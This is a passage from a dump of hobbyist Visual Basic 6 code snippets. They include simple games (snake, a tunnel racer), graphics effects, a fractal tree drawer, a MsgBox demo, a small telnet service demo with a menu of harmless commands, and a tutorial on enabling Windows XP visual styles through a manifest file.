2\n yHead = Me.ScaleWidth - 5\n xspeed = 0\n yspeed = -5\nNext a\nEnd Sub\nSub Levels(ByVal Level_Number As Long)\nDim PlayAgain As String '-this is to play again if you win\nSelect Case Level_Number\n Case 1\n Timer1.Interval = 250\n Points = Points + 50\n Case 2\n Timer1.Interval = 225\n Points = Points + 50\n Case 3\n Timer1.Interval = 200\n Points = Points + 50\n Case 4\n Timer1.Interval = 175\n Points = Points + 50\n Case 5\n Timer1.Interval = 150\n Points = Points + 50\n Case 6\n Timer1.Interval = 125\n Points = Points + 50\n Case 7\n Timer1.Interval = 100\n Points = Points + 50\n Case 8\n Timer1.Interval = 75\n Points = Points + 50\n Case 9\n Timer1.Interval = 50\n Points = Points + 50\n Case 10\n Timer1.Interval = 25\n Points = Points + 50\n Case 11\n Timer1.Interval = 20\n Points = Points + 50\n Case 12\n Timer1.Interval = 15\n Points = Points + 50\n Case 13\n Timer1.Interval = 10\n Points = Points + 50\n Case 14\n Timer1.Interval = 5\n Points = Points + 50\n Case 15\n Timer1.Interval = 1\n Points = Points + 50\n Case 16\n Timer1.Enabled = False\n Points = Points + 500\n MsgBox \"You Won!!!\"\nEnd Select\nEnd Sub\nSub DrawFood()\nDim x As Long, y As Long\n'-This gives 50 squared possible positions all Randomly placed\nRandomize Timer\nx = Round((Rnd * 48), 1) + 1\ny = Round((Rnd * 48), 1) + 1\n'-This spreads it out to scale\nfx = x * 5\nfy = y * 5\nEnd Sub\nSub BodyHeadHit(ByVal Snake_Length As Long)\nDim a As Integer\nFor a = 2 To Snake_Length Step 1\n If (xHead = x(a)) And (yHead = y(a)) Then\n If Lives > 0 Then\n Lives = Lives - 1\n New_Start\n Else\n Timer1.Enabled = False\n MsgBox \"You Died!\"\n New_Game\n End If\n End If\nNext a\nEnd Sub\nSub Boarder()\nMe.Line (0, 0)-(0, Me.ScaleWidth), vbBlack\nMe.Line (0, 0)-(Me.ScaleHeight, 0), vbBlack\nMe.Line (Me.ScaleWidth, Me.ScaleHeight)-(0, Me.ScaleWidth), vbBlack\nMe.Line (Me.ScaleWidth, Me.ScaleHeight)-(Me.ScaleHeight, 0), vbBlack\nIf (xHead < 0) Or (xHead > Me.ScaleWidth) Or (yHead < 0) Or (yHead > Me.ScaleHeight) Then\n If Lives > 0 Then\n Lives = Lives - 1\n New_Start\n Else\n Timer1.Enabled = False\n MsgBox \"You Died!\"\n New_Game\nEnd If\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":14332,"LineNumber":1,"line":"'-This program needs:\n'-Timer1\n'-Timer2\n'-PictureBox - picTrack\n'-That should do it!!!\nPrivate Declare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nDim lx(0 To 250) As Long, rx(0 To 250) As Long '-Right and Left Sides\nDim y(0 To 250) As Long\nDim cX As Long '-Car X\nDim Speed As Long '-The speed\nDim SideMove As Integer '-The sides move right/left\nDim Width_Amount As Long '-Distance apart between walls\nDim Score As Long '-The score\nSub Cycle()\nDim a As Integer\nFor a = 250 To 1 Step -1\n lx(a) = lx(a - 1)\n lx(0) = ((150 - Width_Amount) / 2) + SideMove\n rx(a) = rx(a - 1)\n rx(0) = lx(0) + Width_Amount\nNext a\nEnd Sub\nSub SidesChange()\nSideMove = SideMove + Round((Rnd * 2), 1) - 1\nIf SideMove > 100 Then SideMove = 100\nIf SideMove < 5 Then SideMove = 5\nEnd Sub\nPrivate Sub Form_Load()\nMe.Caption = \"Tunnel Racer By Jason Ryczek\"\nMe.ScaleMode = 3\nMe.Height = 4155\nMe.Width = 5370\nMe.AutoRedraw = True\nMe.ClipControls = False\npicTrack.Top = 0\npicTrack.Left = 75\npicTrack.Height = 250\npicTrack.Width = 200\npicTrack.ScaleMode = 3\npicTrack.AutoRedraw = True\npicTrack.ClipControls = False\npicTrack.BorderStyle = 0\npicTrack.Appearance = 0\nTimer1.Interval = 1\nTimer2.Interval = 500\nTimer2.Enabled = True\nNew_Game\nEnd Sub\nPrivate Sub picTrack_KeyDown(KeyCode As Integer, Shift As Integer)\nSelect Case KeyCode\n Case vbKeyUp '-speed up\n Speed = Speed + 1\n If Speed > 50 Then Speed = 50\n Case vbKeyDown '-slow down\n Speed = Speed - 1\n If Speed < 5 Then Speed = 5\n Case vbKeyRight '-Move car right\n cX = cX + 2\n Case vbKeyLeft\n cX = cX - 2\n Case vbKeyP\n If Timer1.Enabled = True Then\n Timer1.Enabled = False\n Else\n Timer1.Enabled = True\n End If\nEnd Select\nTimer1.Interval = 51 - Speed\nEnd Sub\nPrivate Sub Timer1_Timer()\nDim a As Integer, b As Integer\nCycle\nSidesChange\npicTrack.Cls\nMe.Cls\nMe.Print \"Speed:\" & Speed\nMe.Print \"Score:\" & Score\nMe.Print \"=============\"\nMe.Print \"Use the Arrow\"\nMe.Print \"Keys to Move\"\nMe.Print \" p - pause\"\nMe.Print \"=============\"\nFor a = 1 To 250 Step 1\n rx(a) = lx(a) + Width_Amount\n picTrack.Line (0, a)-(10 + lx(a), a), RGB(0, 100 + (155 * Rnd), 0)\n picTrack.Line (lx(a), a)-(lx(a) + Width_Amount, a)\n picTrack.Line (rx(a), a)-(200, a), RGB(0, 100 + (155 * Rnd), 0)\n picTrack.PSet (lx(a) + (Width_Amount / 2), a), vbYellow\nNext a\nCarDraw cX '-This draws the car\nHitWall cX '-This checks to see if the car hit the wall\nScore = Score + 1\nEnd Sub\nSub CarDraw(ByVal CarX As Long)\nDim gc As Integer\ngc = Rnd * 255\npicTrack.Line (CarX - 5, 215)-(CarX + 5, 235), vbRed, BF\npicTrack.Line (CarX - 5, 215)-(CarX - 2, 215), vbYellow\npicTrack.Line (CarX + 5, 215)-(CarX + 2, 215), vbYellow\npicTrack.Line (CarX - 2, 225)-(CarX + 2, 230), vbBlack, BF\npicTrack.Line (CarX - 2, 224)-(CarX + 2, 225), vbBlue, B\npicTrack.Circle (CarX + (Rnd * 1) + 1, 236), 1, RGB(gc, gc, gc)\npicTrack.Circle (CarX + (Rnd * 1) + 1, 238), 1, RGB(gc, gc, gc)\npicTrack.Circle (CarX - (Rnd * 1) + 1, 240), 1, RGB(gc, gc, gc)\npicTrack.Circle (CarX + (Rnd * 1) + 1, 242), 1, RGB(gc, gc, gc)\nEnd Sub\nSub HitWall(ByVal CarX As Long)\nDim a As Integer, b As Long, d As Integer\nDim gc As Integer\ngc = 255 * Rnd\nDim cX(0 To 25) As Long, cy(0 To 5) As Long\n If (CarX - 5 <= lx(215)) Or ((CarX + 5) >= rx(215)) Then\n For d = 0 To 5 Step 1\n cX(d) = ((CarX - 5) + (Rnd * 15))\n cy(d) = (215 + (Rnd * 20))\n picTrack.Circle (cX(d), cy(d)), ((Rnd * 4) + 1), RGB(gc, gc, gc)\n Next d\n Timer1.Enabled = False\n Me.Print \"You Crashed!!!\"\n New_Game\n End If\nEnd Sub\nSub New_Game()\nMsgBox \"Ready, Set, Go!\"\nDim a As Integer\nWidth_Amount = 150\ncX = picTrack.Width / 2\nScore = 0\nSpeed = 25\nSideMove = 25\nFor a = 0 To 250\n lx(a) = (24 + (Rnd * 1))\n rx(a) = lx(a) + Width_Amount\nNext a\nTimer1.Enabled = True\nEnd Sub\nPrivate Sub Timer2_Timer()\nWidth_Amount = Width_Amount - 1\nEnd Sub\n"},{"WorldId":1,"id":22266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22103,"LineNumber":1,"line":"' =-=-=-=-=-=-=-=-=-=-=\n' Add a timer, with intervals of 1\n' -=-=-=-=-=-=-=-=-=-=-\n' This is a really simlpe and cool little program that I made\n' on accident trying to make something resembling, well, something\n' different. But I thought this looked cool, and I thought that\n' someone might want to put it in the back of a game. If anyone does\n' please give me a lil credit, thanx.\n' ~Jason Ryczek - CCguy7@aol.com\nDim red(0 To 256) As Integer, green(0 To 256) As Integer, blue(0 To 256) As Integer\nDim RadialGrow As Boolean\nSub ColorFade()\nMe.Cls\nFor i = 0 To 256 Step 1\n red(i) = i\n ' the number 1 is the radial size, change that to make the\n ' radial size around the axis\n green(i) = green(i) + (Rnd * 1) + (Rnd * -1)\n If RadialGrow = True Then\n If green(i) > 256 Or green(i) < 0 Then\n green(i) = 256 / 2\n End If\n End If\n PSet (green(i), red(i) + 10), RGB(0, 256 - i, 256 - i)\nNext\nEnd Sub\nPrivate Sub Form_Load()\nFor i = 0 To 256 Step 1\n green(i) = 256 / 2\nNext\n' this makes it so that the radius keeps growing\nRadialGrow = True\nEnd Sub\nPrivate Sub Timer1_Timer()\nColorFade\nTimer1.Interval = 1\nEnd Sub\n"},{"WorldId":1,"id":22859,"LineNumber":1,"line":"' These things look like little pixeys so that's\n' what I named them. Although, they also look like\n' fire flies, so whatever works. Enjoy!!!\n' ~Jason Ryczek - CCguy7@aol.com\n' PS -\n' you can have the form as whatever you want, but\n' it looks the best maximized\nDim PixX(4) As Integer, PixY(4) As Integer\nDim TrailX(4, 50) As Integer, TrailY(4, 50) As Integer\nDim Sx(4) As Integer, Sy(4) As Integer\nDim RnN As Integer\nDim spd As Integer\nDim freefall As Boolean\nPrivate Sub Form_Load()\nDim a As Integer\nRandomize Timer\nFor a = 0 To 4\n PixX(a) = (Me.ScaleWidth / (a + 1)) + Rnd(Me.ScaleWidth / 2)\n PixY(a) = (Me.ScaleHeight / (a + 1)) + Rnd(Me.ScaleWidth / 2)\nNext\nPixeyWonderAround Round((Rnd * 24) + 1, 0)\nspd = 5\nMe.BackColor = vbBlack\nMe.ClipControls = False\nMe.AutoRedraw = True\nTimer1.Enabled = True\nTimer1.Interval = 1\nTimer2.Enabled = True\nTimer2.Interval = 2000 + (Rnd * 2000)\nfreefall = False\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, x As Single, Y As Single)\nDim a As Integer\na = MsgBox(\"Are you sure you want to end?\", vbYesNo)\nIf a = 6 Then End\nEnd Sub\nPrivate Sub Timer1_Timer()\nMe.Cls\nDim a As Integer\nDim yelVal As Integer\nPixeyWonderAround RnN\nFor a = 0 To 4\nPixX(a) = PixX(a) + Sx(a): PixY(a) = PixY(a) + Sy(a)\nIf (PixX(a) < 0) Or (PixX(a) > Me.ScaleWidth) Then PixX(a) = Me.ScaleWidth * Rnd\nIf freefall = False Then\n If (PixY(a) < 0) Or (PixY(a) > Me.ScaleHeight) Then PixY(a) = Rnd(Me.ScaleHeight / 2)\nElse\n If PixY(a) > Me.ScaleHeight Then Sy(a) = Sy(a) + -0.8\nEnd If\nDim i As Integer\nFor i = 50 To 1 Step -1\n yelVal = Rnd * 200 + 55\n TrailX(a, i) = TrailX(a, i - 1) + Rnd * 10 - Rnd * 10: TrailY(a, i) = TrailY(a, i - 1) + Rnd * 10 - Rnd * 10 + 10\n TrailX(a, 0) = PixX(a): TrailY(a, 0) = PixY(a)\n Me.PSet (TrailX(a, i), TrailY(a, i)), RGB(((yelVal / 5) * ((a + 1) / 2) + 55) / (a + 1), (yelVal / 5) * ((a + 1) / 2) + 55, 5 - a)\nNext\nMe.Circle (PixX(a), PixY(a)), 10 * Rnd + 10, RGB(Rnd * 100 + 155, Rnd * 100 + 155, 0)\nNext\nEnd Sub\nPrivate Sub Timer2_Timer()\nRnN = Round((Rnd * 24) + 1, 0)\nTimer2.Interval = 2000 + Round((Rnd * 2000), 0)\nEnd Sub\nSub PixeyWonderAround(ByVal rndNum As Integer)\nSelect Case rndNum\n Case 1\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 0\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = -20 - Rnd * 10: Sy(2) = 10\n Sx(3) = 20 - Rnd * 10: Sy(3) = 0\n Sx(4) = -20 - Rnd * 10: Sy(4) = -10\n Case 2\n freefall = False\n Sx(0) = 20 - Rnd * 10: Sy(0) = 10\n Sx(1) = -20 - Rnd * 10: Sy(1) = 0\n Sx(2) = 20 - Rnd * 10: Sy(2) = -10\n Sx(3) = -20 - Rnd * 10: Sy(3) = 10\n Sx(4) = 20 - Rnd * 10: Sy(4) = 0\n Case 3\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 0\n Sx(1) = -20 - Rnd * 10: Sy(1) = -20\n Sx(2) = -20 - Rnd * 10: Sy(2) = 20\n Sx(3) = -20 - Rnd * 10: Sy(3) = -20\n Sx(4) = -20 - Rnd * 10: Sy(4) = 0\n Case 4\n freefall = False\n Sx(0) = 0 - Rnd * 10: Sy(0) = -10\n Sx(1) = 20 - Rnd * 10: Sy(1) = -20\n Sx(2) = -20 - Rnd * 10: Sy(2) = 10\n Sx(3) = 0 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 0\n Case 5\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 20\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = -20 - Rnd * 10: Sy(2) = 10\n Sx(3) = 20 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 0\n Case 6\n freefall = False\n Sx(0) = 20 - Rnd * 10: Sy(0) = 10\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = 20 - Rnd * 10: Sy(2) = 0\n Sx(3) = -20 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 20\n Case 7\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 20\n Sx(1) = -20 - Rnd * 10: Sy(1) = 10\n Sx(2) = 20 - Rnd * 10: Sy(2) = 0\n Sx(3) = 20 - Rnd * 10: Sy(3) = 10\n Sx(4) = 20 - Rnd * 10: Sy(4) = 20\n Case 8\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 0\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = 20 - Rnd * 10: Sy(2) = 20\n Sx(3) = 20 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 10\n Case 9\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 0\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = 20 - Rnd * 10: Sy(2) = 20\n Sx(3) = 20 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 10\n Case 10\n freefall = False\n Sx(0) = -20 - Rnd * 10: Sy(0) = 10\n Sx(1) = -20 - Rnd * 10: Sy(1) = 10\n Sx(2) = -20 - Rnd * 10: Sy(2) = 10\n Sx(3) = -20 - Rnd * 10: Sy(3) = 10\n Sx(4) = -20 - Rnd * 10: Sy(4) = 10\n Case 11\n freefall = False\n Sx(0) = 20 - Rnd * 10: Sy(0) = 5\n Sx(1) = 20 - Rnd * 10: Sy(1) = 10\n Sx(2) = 20 - Rnd * 10: Sy(2) = 15\n Sx(3) = 20 - Rnd * 10: Sy(3) = 20\n Sx(4) = 20 - Rnd * 10: Sy(4) = 25\n Case 12 To 14 ' Special Fall\n freefall = True\n Sx(0) = 10: Sy(0) = (Sy(0) + 1)\n Sx(1) = 10: Sy(1) = (Sy(1) + 1)\n Sx(2) = 10: Sy(2) = (Sy(2) + 1)\n Sx(3) = 10: Sy(3) = (Sy(3) + 1)\n Sx(4) = 10: Sy(4) = (Sy(4) + 1)\n Case 15 To 17 ' Special Float\n freefall = False\n Sx(0) = 10: Sy(0) = (Sy(0) - 1)\n Sx(1) = -10: Sy(1) = (Sy(1) - 1)\n Sx(2) = 10: Sy(2) = (Sy(2) - 1)\n Sx(3) = -10: Sy(3) = (Sy(3) - 1)\n Sx(4) = 10: Sy(4) = (Sy(4) - 1)\n Case 18 To 20 ' Special Sine Thingy\n freefall = False\n For a = 0 To 4\n Sx(a) = Sx(a) + spd: Sy(a) = 180 * Sin(Sx(a) * 45)\n If (Sx(a) > 100) Or (Sx(a) < 1) Then spd = -spd\n Next\n Case 21 To 25 ' Totally Random\n freefall = False\n Sx(0) = Rnd * 20 - (Rnd * 20): Sx(0) = Rnd * 20 - (Rnd * 20)\n Sx(1) = Rnd * 20 - (Rnd * 20): Sx(1) = Rnd * 20 - (Rnd * 20)\n Sx(2) = Rnd * 20 - (Rnd * 20): Sx(2) = Rnd * 20 - (Rnd * 20)\n Sx(3) = Rnd * 20 - (Rnd * 20): Sx(3) = Rnd * 20 - (Rnd * 20)\n Sx(4) = Rnd * 20 - (Rnd * 20): Sx(4) = Rnd * 20 - (Rnd * 20)\nEnd Select\nEnd Sub\n"},{"WorldId":1,"id":22382,"LineNumber":1,"line":"' This works best if you make an array and use the select case statement, but I left it up to the user to do what they want with it.\nDim x as integer ' x = answer value\n' For the OKOnly\nx = MsgBox(\"This is Default, Okay Only\", vbOKOnly)\n' For Ok, cancel\nx = MsgBox(\"Give choice of OK or Cancel\", vbOKCancel)\n' This is Abort, Retry, Ignore\nx = MsgBox(\"Blow up your computer?\", vbAboutRetryIgnore)\n' Most Common - :)\nx = MsgBox(\"Would you like to save your dirty pictures before you exit?\", vbYesNoCancel)\n' Yes or No\nx = MsgBox(\"Was that you or the dog?\", vbYesNo)\n' Retry or Cancel\nx = MsgBox(\"This is what you might want to do with your diet...\", vbRetryCancel)\n' Critical Message\nx = MsgBox(\"Your Reports due today and you haven't started on it yet!\", vbCritical)\n' Question\nx = MsgBox(\"<- Question\", vbQuestion)\n' now, do decypher the answers\nSelect Case x\n Case 1:MsgBox \"The Okay button\"\n Case 2:MsgBox \"The Cancel button\"\n Case 3:MsgBox \"The Abort button\"\n Case 4:MsgBox \"The Retry button\"\n Case 5:MsgBox \"The Ignore button\"\n Case 6:MsgBox \"The Yes button\"\n Case 7:MsgBox \"The No button\"\nEnd Select\n' Well, hope that helps all you programmers out there"},{"WorldId":1,"id":22385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24312,"LineNumber":1,"line":"' This was made by Jason Ryczek\nOption Explicit\nPrivate Const PI = 3.14159\nPrivate Sub Form_Load()\nMe.BackColor = vbBlack\nRandomize Timer\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nDim Bend As Single\nDim Depth As Integer\nDim Thickness As Integer\nDim Length As Single\nDim RND_Scale As Single\nDim DTheta As Single\nDim RND_DTheta As Single\nDim Max_Branches As Integer\n' t = temp for redraw with same values\nDim tBend As Single\nDim tDepth As Integer\nDim tThickness As Integer\nDim tLength As Single\nDim tRND_Scale As Single\nDim tDTheta As Single\nDim tRND_DTheta As Single\nDim tMax_Branches As Integer\nConst Length_Scale = 0.75\nMe.Cls\nDoEvents\n' Get Values\nDepth = CInt(InputBox(\"Enter Depth:\", \"Depth...\", \"5\"))\nDTheta = CSng(InputBox(\"Ender DTHETA:\", \"DTHETA...\", \"36\")) * PI / 180#\nRND_Scale = (Round(3 * Rnd, 1) / 10)\nRND_DTheta = (InputBox(\"Enter Number For Random DTHETA:\", \"Random DTHETA\", \"20\")) * PI / 180#\nMax_Branches = CInt(InputBox(\"Enter The Max Amount Of Branches:\", \"Max Branches\", \"3\"))\nBend = PI / 90\nLength = (Me.ScaleHeight - 10) / ((1 - Length_Scale ^ (Depth + 1)) / (1 - Length_Scale))\nThickness = Depth\n' Draw Tree\nDrawBranch Bend, Thickness, Depth, Me.ScaleWidth \\ 2, Me.ScaleHeight - 5, Length, Length_Scale, RND_Scale, -PI / 2, DTheta, RND_DTheta, Max_Branches\nEnd Sub\nPrivate Sub DrawBranch(ByVal Bend As Single, ByVal Thickness As Single, ByVal Depth As Integer, ByVal X As Single, ByVal Y As Single, ByVal Length As Single, ByVal Length_Scale As Single, ByVal RND_Scale As Single, ByVal theta As Single, ByVal DTheta As Single, ByVal RND_DTheta As Single, ByVal Max_Branches As Integer)\nDim x1 As Integer, y1 As Integer, x2 As Integer, y2 As Integer\nDim Status As Integer\nDim Num_Bends As Integer\nDim Num_Branches As Integer\nDim i As Integer\nDim New_Length As Integer\nDim New_Theta As Single\nDim New_Bend As Single\nDim DT As Single\nDim T As Single\nConst DistancePerBend = 5#\nConst BendFactor = 2#\nConst MaxBend = PI / 6\n' Draw Bending Branches\nNum_Bends = Length / DistancePerBend\nT = theta\nx1 = X\ny1 = Y\nFor i = 1 To Num_Bends\n x2 = x1 + DistancePerBend * Cos(T)\n y2 = y1 + DistancePerBend * Sin(T)\n \n ' Thickness of branches\n Me.DrawWidth = Thickness 'Depth\n ' Draw Lines\n Me.Line (x1, y1)-(x2, y2), RGB((Depth + 1) * 20, (Depth + 1) * 20, (Depth + 1) * 10 + 100 * Rnd)\n T = T + Bend * (Rnd - 0.5)\n x1 = x2\n y1 = y2\nNext i\n\n' If depth > 1, draw the attached branches.\nIf Depth > 1 Then\n Num_Branches = Int((Max_Branches - 1) * Rnd + 2)\n DT = 2 * DTheta / (Num_Branches - 1)\n T = theta - DTheta\n For i = 1 To Num_Branches\n New_Length = Length * (Length_Scale + RND_Scale * (Rnd - 0.5))\n New_Theta = T + RND_DTheta * (Rnd - 0.5)\n T = T + DT\n If Bend > 0 Then\n New_Bend = Bend * BendFactor\n If New_Bend > MaxBend Then New_Bend = MaxBend\n Else\n New_Bend = Bend\n End If\n DrawBranch New_Bend, Thickness - 1, Depth - 1, x1, y1, New_Length, Length_Scale, RND_Scale, New_Theta, DTheta, RND_DTheta, Max_Branches\n Next i\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":11360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21382,"LineNumber":1,"line":"Public strCommand As String\nPrivate Sub Form_Load()\n 'BE SURE TO READ THE \"ASSUMES\" SECTION ABOVE FIRST!\n objService.DisplayName = \"Telnet Server Demo\"\n objService.ServiceName = \"telnetd\"\n wsListen.LocalPort = 26\n \n 'This code is displayed if the user runs the program from\n 'the command-line.\n If Trim$(Command$) <> \"\" Then\n Select Case UCase$(Trim$(Command$))\n Case \"-INSTALL\"\n If objService.Install Then\n MsgBox \"Result: \" & App.Title & \" successfully installed as a Windows NT Service.\" & vbCrLf & \"Service Name: \" & objService.ServiceName, vbInformation, \"Install Complete, Please Re-Start Application\"\n Else\n MsgBox \"Result: \" & App.Title & \" FAILED to installed as a Windows NT Service.\" & vbCrLf & \"Service Name: \" & objService.ServiceName & vbCrLf & vbCrLf & \"Solutions: Check to see if the service is allready installed. If so, run \" & App.EXEName & \" -uninstall to remove it.\", vbInformation, \"Install Failed, Please Re-Start Application\"\n End If\n End\n Case \"-UNINSTALL\"\n If objService.Uninstall Then\n MsgBox \"Result: \" & App.Title & \" successfully uninstalled as a Windows NT Service.\" & vbCrLf & \"Removed Service Name: \" & objService.ServiceName, vbInformation, \"UnInstall Complete, Please Re-Start Application\"\n Else\n MsgBox \"Result: \" & App.Title & \" FAILED to Uninstalled as a Windows NT Service.\" & vbCrLf & \"Service Name: \" & objService.ServiceName & vbCrLf & vbCrLf & \"Solutions: Check to see if the service is installed. If not, run \" & App.EXEName & \" -install to install it.\", vbInformation, \"UnInstall Failed, Please Re-Start Application\"\n End If\n End\n Case Else\n MsgBox \"Valid Syntax: \" & vbCrLf & vbCrLf & \"-install To Install \" & App.Title & \" as a WinNT Service\" & vbCrLf & vbCrLf & \"-uninstall To UN-INSTALL \" & App.Title & \" from the WinNT Service List\", vbInformation, \"Invalid Syntax: Aborting Program Launch\"\n End Select\n End If\n objService.ControlsAccepted = svcCtrlPauseContinue\n objService.StartService\n Me.Hide\nEnd Sub\nPrivate Sub objService_Start(Success As Boolean)\n 'This code is executed when the service is started\n On Error GoTo ErrHandler\n Success = True\n wsListen.Listen\n Exit Sub\nErrHandler:\n 'If service fails, write an event to the system log.\n Call objService.LogEvent(svcMessageError, svcEventError, \"[\" & _\n Err.Number & \"] \" & Err.Description)\n Resume Next\nEnd Sub\nPrivate Sub wsArray_DataArrival(Index As Integer, ByVal bytesTotal As Long)\n 'This code determinds what to do based on user input\n Dim strData(100) As String\n On Error GoTo ErrorHandler\n 'Get the current character user typed\n wsArray(Index).GetData strData(Index), vbString, bytesTotal\n \n If strData(Index) = vbCrLf Or strData(Index) = vbCr Then\n Select Case UCase(wsArray(Index).Tag)\n Case \"RANDOM\"\n 'Display a random number\n wsArray(Index).SendData vbCrLf & Rnd(1) * 100 & vbCrLf\n Case \"TIME\"\n 'Display the current time\n wsArray(Index).SendData vbCrLf & Time() & vbCrLf\n Case \"HELP\"\n wsArray(Index).SendData vbCrLf\n Call ShowMenu(Index)\n Case \"QUIT\"\n wsArray(Index).Tag = \"\"\n wsArray(Index).Close\n Exit Sub\n End Select\n wsArray(Index).Tag = \"\"\n wsArray(Index).SendData vbCrLf & \"=> \"\n ElseIf Asc(strData(Index)) = 8 Then 'Backspace was pressed\n If Not wsArray(Index).Tag = \"\" Then\n 'Remove one character from current input\n wsArray(Index).Tag = Left(wsArray(Index).Tag, Len(wsArray(Index).Tag) - 1)\n 'Move the cursor back one space\n wsArray(Index).SendData Chr(8) & \" \" & Chr(8)\n End If\n Else\n 'This represents the current command. The current command is\n 'each character the user types in until the user presses the\n 'enter key.\n wsArray(Index).Tag = wsArray(Index).Tag & strData(Index)\n 'This ECHOs the character back to the user\n wsArray(Index).SendData strData(Index)\n End If\n Exit Sub\nErrorHandler:\n 'Display an error if one occurs\n Dim ErrDesc As String\n wsArray(Index).SendData vbCrLf & Err.Description & vbCrLf\n wsArray(Index).SendData vbCrLf & \"=> \"\n wsArray(Index).Tag = \"\"\nEnd Sub\nPrivate Sub wsListen_ConnectionRequest(ByVal requestID As Long)\n 'This listens for a connection and finds an open socket\n Dim Index As Integer\n Index = FindOpenWinsock\n wsArray(Index).Accept requestID\n Call ShowMenu(Index)\n wsArray(Index).SendData \"=> \"\nEnd Sub\nPrivate Sub ShowMenu(Index As Integer)\n 'This sends the menu. We used (Index) in every instance of\n 'socket array because we want the data send to the appropriate\n 'user, in case more than one person is connected.\n wsArray(Index).SendData \"+-[Commands]--------------------+\" & vbCrLf\n wsArray(Index).SendData \"| RANDOM - Display random |\" & vbCrLf\n wsArray(Index).SendData \"| TIME - Show system time |\" & vbCrLf\n wsArray(Index).SendData \"| HELP |\" & vbCrLf\n wsArray(Index).SendData \"| QUIT |\" & vbCrLf\n wsArray(Index).SendData \"+-------------------------------+\" & vbCrLf & vbCrLf\nEnd Sub\nPrivate Function FindOpenWinsock()\n 'This function finds the next open socket, allowing your program\n 'to accept more than one connection\n Static LocalPorts As Integer\n 'Find open socket\n For X = 0 To wsArray.UBound\n If wsArray(X).State = 0 Then\n FindOpenWinsock = X\n Exit Function\n End If\n Next X\n 'None are open so let's make one\n Load wsArray(wsArray.UBound + 1)\n 'Let's make sure we don't get conflicting local ports\n LocalPorts = LocalPorts + 1\n wsArray(wsArray.UBound).LocalPort = wsArray(wsArray.UBound).LocalPort + LocalPorts\n \n FindOpenWinsock = wsArray.UBound\nEnd Function\n"},{"WorldId":1,"id":21298,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14668,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13938,"LineNumber":1,"line":"Here are all types for the Resourse files.\nAdd any type of data like gifs and wavs on a \".res\" file with the Vbasic Resourse editor EASY.\nDownload the sourse and you will have the tutoria l too.\nHave a nice day \nArticle&code by Megalos from Cyprus\n"},{"WorldId":1,"id":28388,"LineNumber":1,"line":"Not many comments here. \nJust follow instructions and let me know if you have any problem. \n1st \ncopy this code and create a new file with this name \"vb6.exe.manifest\" in your \nsystem32 or in the folder where your VB6.exe is. \n \n/*--------save as vb6.exe.manifest anything after this \nline -----*/ \n<?xml version=\"1.0\" encoding=\"UTF-8\"\nstandalone=\"yes\"?> \n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" \nmanifestVersion=\"1.0\"> \n<assemblyIdentity type=\"win32\" \nprocessorArchitecture=\"*\" version=\"6.0.0.0\" \nname=\"mash\"/> \n<description>Enter your Description Here</description> \n<dependency> \n<dependentAssembly> \n<assemblyIdentity \ntype=\"win32\" \nname=\"Microsoft.Windows.Common-Controls\" version=\"6.0.0.0\" \nlanguage=\"*\" \nprocessorArchitecture=\"*\" \npublicKeyToken=\"6595b64144ccf1df\" \n/> \n</dependentAssembly> \n</dependency> \n</assembly> \n \n/*----end here-- do not include this line--*/ \n \n2nd \nstart your VBasic and you will see it like it was remade for XP. \nafter this VB is using the new ComCtl32.dll and is running the applications with \nthis dll as default. \n3rd \nafter you compile the app. you will see that is not using the XP controls \nstyle.!!!??? \nTo use XP style you will need a manifest file like before but with the \napplications name this time. so if you have \"XPdemo.exe\" you will need a file \nwith the name \"XPdemo.exe.manifest\" with the same contents like the \n\"vb6.exe.manifest\" or just copy and rename the file \"vb6.exe.manifest\". \n4th \nput in your applications these lines or it will not work with the XP controls \nstyle. \n \n'************** \n'just to enable the new ComCtl32.dll if ' is there. \nPrivate Declare Function InitCommonControls\nLib \"comctl32.dll\" () As Long \nPrivate Sub Form_Initialize() \nInitCommonControls \nEnd Sub \n'continue with your app. code \n'*************** \n \nnote that your application is still running on any older version windows with no \nany problems but he he with not the XP styles. \n(under win XP) \nthe same trick will be possible on any program just use the \"programname.exe.manifest\" \nand you will see. \nIf you don't have windows XP but you want to give the option to your programs to \nrun on XP with the XP styles enable just do the same and when your programs run \non XP will be full compatible with the XP styles. \nThis is some ideas i got reading the MSDN library here. \n<a href=\"http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwxp/html/xptheming.asp\">\nhttp://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwxp/html/xptheming.asp</a> \nand here is my site where im trying to do my best but i dont have much time \n<a 